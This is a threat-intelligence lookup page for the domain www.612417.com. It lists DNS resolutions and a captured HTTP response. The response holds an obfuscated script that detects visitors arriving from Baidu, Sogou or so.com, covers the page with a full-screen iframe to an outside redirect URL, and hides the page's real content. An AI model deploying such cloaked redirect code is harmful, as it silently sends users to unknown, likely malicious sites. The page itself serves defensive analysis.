Domain > www.612417.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2019-02-15	52.231.152.215 (ClassC)
2019-02-15	52.231.154.21 (ClassC)
2019-05-13	182.61.169.121 (ClassC)
2024-01-10	160.121.24.131 (ClassC)
2024-10-13	154.215.190.97 (ClassC)
2024-10-28	154.215.165.29 (ClassC)
2025-07-07	172.67.130.241 (ClassC)
2025-08-05	182.16.8.253 (ClassC)
2026-01-04	104.21.3.164 (ClassC)

Port 80

HTTP/1.1 200 OKTransfer-Encoding: chunkedContent-Type: text/html; charsetUTF-8Server: Nginx Microsoft-HTTPAPI/2.0X-Powered-By: NginxDate: Wed, 10 Jan 2024 07:22:55 GMT

script>var titlestr  document.title;var arr  https://user-redirect-url-9.com:2083/New/a.php;var referer  document.referrer;var regex/(baidu.com|sogou.com|so.com)/i;if(regex.test(referer)){  setFrame(arrMath.floor(Math.random() * arr.length));}function setFrame(olink) {  var ss  title> + titlestr + /title>div idshowcloneshengxiaon styleheight: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;>ifr + ame scrollingyes marginheight0 marginwidth0 frameborder0 width100% height100% src + olink + >/iframe>/div>style typetext/css>html{width:100%;height:100%;}body {width:100%;height:100%;}/style>;  eval(do + cu + ment.wr + ite( + ss + ););  try {    setTimeout(function() {      console.log(document.body.children.length);      for (var i  0; i  document.body.children.length; i++) {        try {          var a  document.body.childreni.tagName;          var b  document.body.childreni.id;          console.log(i + *** + a + ** + b);          if (b ! iconDiv1 && b ! showcloneshengxiaon && a ! title) {            document.body.childreni.style.display  non + e          }        } catch(e) {}      }      var oMeta  document.createElement(meta);      oMeta.name  viewport;      oMeta.content  widthdevice-width,initial-scale1,minimum-scale1,maximum-scale1,user-scalableno;      document.getElementsByTagName(head)0.appendChild(oMeta);    },    100)  } catch(e) {}}/script>script>var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?2df9fab75c3a79a9e3748d192daa789b;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();/script>script>var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?9edcf788088442c40bcbcb1ca072dbb8;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();/script>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > www.612417.com

Is this malicious?

DNS Resolutions

Port 80